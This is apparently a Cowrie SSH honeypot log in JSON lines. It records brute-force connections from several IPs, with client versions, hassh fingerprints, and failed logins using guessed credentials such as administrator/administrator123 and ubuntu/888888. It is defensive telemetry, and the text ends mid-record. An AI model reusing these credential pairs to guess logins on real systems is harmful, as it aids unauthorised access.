{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:14:06.314126Z","src_ip":"159.203.92.129","session":"7180bf13e20c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"administrator123","message":"login attempt [administrator/administrator123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:14:06.343645Z","src_ip":"159.203.92.129","session":"7180bf13e20c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:14:07.362199Z","src_ip":"159.203.92.129","session":"7180bf13e20c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56578,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b8052edb13f","protocol":"ssh","message":"New connection: 159.203.92.129:56578 (159.203.135.109:22) [session: 3b8052edb13f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:14:46.233124Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:14:46.238146Z","src_ip":"159.203.92.129","session":"3b8052edb13f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:14:46.243397Z","src_ip":"159.203.92.129","session":"3b8052edb13f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"administrator1234","message":"login attempt [administrator/administrator1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:14:46.254212Z","src_ip":"159.203.92.129","session":"3b8052edb13f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:14:47.263770Z","src_ip":"159.203.92.129","session":"3b8052edb13f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.166.19.90","src_port":29721,"dst_ip":"159.203.135.109","dst_port":22,"session":"4209395aaf2d","protocol":"ssh","message":"New connection: 125.166.19.90:29721 (159.203.135.109:22) [session: 4209395aaf2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:15:13.796805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:15:13.803804Z","src_ip":"125.166.19.90","session":"4209395aaf2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:15:14.084293Z","src_ip":"125.166.19.90","session":"4209395aaf2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"888888","message":"login attempt [ubuntu/888888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:15:15.227427Z","src_ip":"125.166.19.90","session":"4209395aaf2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:15:16.505406Z","src_ip":"125.166.19.90","session":"4209395aaf2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56642,"dst_ip":"159.203.135.109","dst_port":22,"session":"45d50ce041fa","protocol":"ssh","message":"New connection: 159.203.92.129:56642 (159.203.135.109:22) [session: 45d50ce041fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:15:28.266113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:15:28.271219Z","src_ip":"159.203.92.129","session":"45d50ce041fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:15:28.276045Z","src_ip":"159.203.92.129","session":"45d50ce041fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"administrator123456","message":"login attempt [administrator/administrator123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:15:28.291019Z","src_ip":"159.203.92.129","session":"45d50ce041fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:15:29.298625Z","src_ip":"159.203.92.129","session":"45d50ce041fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60460,"dst_ip":"159.203.135.109","dst_port":22,"session":"f60dbdb23111","protocol":"ssh","message":"New connection: 159.203.92.129:60460 (159.203.135.109:22) [session: f60dbdb23111]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:16:11.553090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:16:11.557993Z","src_ip":"159.203.92.129","session":"f60dbdb23111","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:16:11.562687Z","src_ip":"159.203.92.129","session":"f60dbdb23111","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"administrator2018","message":"login attempt [administrator/administrator2018] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:16:11.572261Z","src_ip":"159.203.92.129","session":"f60dbdb23111","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:16:12.579044Z","src_ip":"159.203.92.129","session":"f60dbdb23111","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33908,"dst_ip":"159.203.135.109","dst_port":22,"session":"72941e5e1616","protocol":"ssh","message":"New connection: 159.203.92.129:33908 (159.203.135.109:22) [session: 72941e5e1616]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:16:54.210541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:16:54.217533Z","src_ip":"159.203.92.129","session":"72941e5e1616","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:16:54.221076Z","src_ip":"159.203.92.129","session":"72941e5e1616","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"administrator2019","message":"login attempt [administrator/administrator2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:16:54.279757Z","src_ip":"159.203.92.129","session":"72941e5e1616","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:16:55.287536Z","src_ip":"159.203.92.129","session":"72941e5e1616","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.53.238.44","src_port":47040,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b248e7ca2de","protocol":"ssh","message":"New connection: 77.53.238.44:47040 (159.203.135.109:22) [session: 3b248e7ca2de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:16:57.830540Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:16:57.835788Z","src_ip":"77.53.238.44","session":"3b248e7ca2de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.53.238.44","src_port":47784,"dst_ip":"159.203.135.109","dst_port":22,"session":"03b9004270dd","protocol":"ssh","message":"New connection: 77.53.238.44:47784 (159.203.135.109:22) [session: 03b9004270dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:16:57.939344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_10.0","message":"Remote SSH version: SSH-2.0-OpenSSH_10.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:16:57.943868Z","src_ip":"77.53.238.44","session":"03b9004270dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"c118de82e19e5384f50f9bfd36c1a5dc","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: c118de82e19e5384f50f9bfd36c1a5dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:16:58.055608Z","src_ip":"77.53.238.44","session":"03b9004270dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a","password":"a","message":"login attempt [a/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:16:58.540035Z","src_ip":"77.53.238.44","session":"03b9004270dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:16:59.654267Z","src_ip":"77.53.238.44","session":"03b9004270dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.53.238.44","src_port":60714,"dst_ip":"159.203.135.109","dst_port":22,"session":"71ebb7fde391","protocol":"ssh","message":"New connection: 77.53.238.44:60714 (159.203.135.109:22) [session: 71ebb7fde391]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:16:59.759027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_10.0","message":"Remote SSH version: SSH-2.0-OpenSSH_10.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:16:59.763979Z","src_ip":"77.53.238.44","session":"71ebb7fde391","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"c118de82e19e5384f50f9bfd36c1a5dc","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert